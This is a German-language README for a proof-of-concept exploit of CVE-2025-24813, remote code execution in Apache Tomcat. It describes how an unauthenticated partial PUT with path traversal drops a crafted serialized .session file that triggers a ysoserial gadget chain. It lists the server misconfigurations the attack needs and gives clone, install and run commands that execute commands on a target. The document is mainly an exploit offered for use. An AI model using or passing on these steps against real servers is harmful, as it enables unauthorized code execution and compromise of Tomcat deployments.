
CVE-2025-24813 - Apache Tomcat RCE via Session Deserialization - PoC Exploit

Apache Tomcat - Remote-Code-Ausführung durch Session-Deserialisierung
Nicht authentifiziertes partielles PUT + Path Traversal + Gadget-gesteuerte Deserialisierung
Apache Tomcat-Instanzen mit aktiviertem Standard-Servlet PUT (readonly=false) erlauben das Schreiben von Dateien über HTTP-PUT-Anfragen. Durch das Erstellen eines Pfads, der aus dem Upload-Verzeichnis zum FileStore-Session-Speicherort führt, kann ein Angreifer ein präpariertes serialisiertes Java-Objekt als .session-Datei ablegen. Die nächste Anfrage, die auf diese Session verweist, löst die Deserialisierung aus und führt die eingebettete Gadget-Kette aus.
readonly=false in conf/web.xmlorg.apache.catalina.session.PersistentManager mit FileStore, konfiguriert in META-INF/context.xml der Webapplikationorg.apache.commons.collections.enableUnsafeSerialization=true (oder commons-collections < 3.2.2)PUT und Path Traversal werden nicht durch einen Reverse-Proxy oder eine WAF gefiltertysoserial.jar auf dem Angreifer-Rechnergit clone https://github.com/yuzuki-ayanami/CVE-2025-24813
cd CVE-2025-24813
pip install -r requirements.txt
python cve-2025-24813.py http://target:8080 --ysoserial ysoserial.jar -c 'id'
python cve-2025-24813.py http://target:8080 --ysoserial ysoserial.jar -c 'whoami' --gadget CommonsCollections7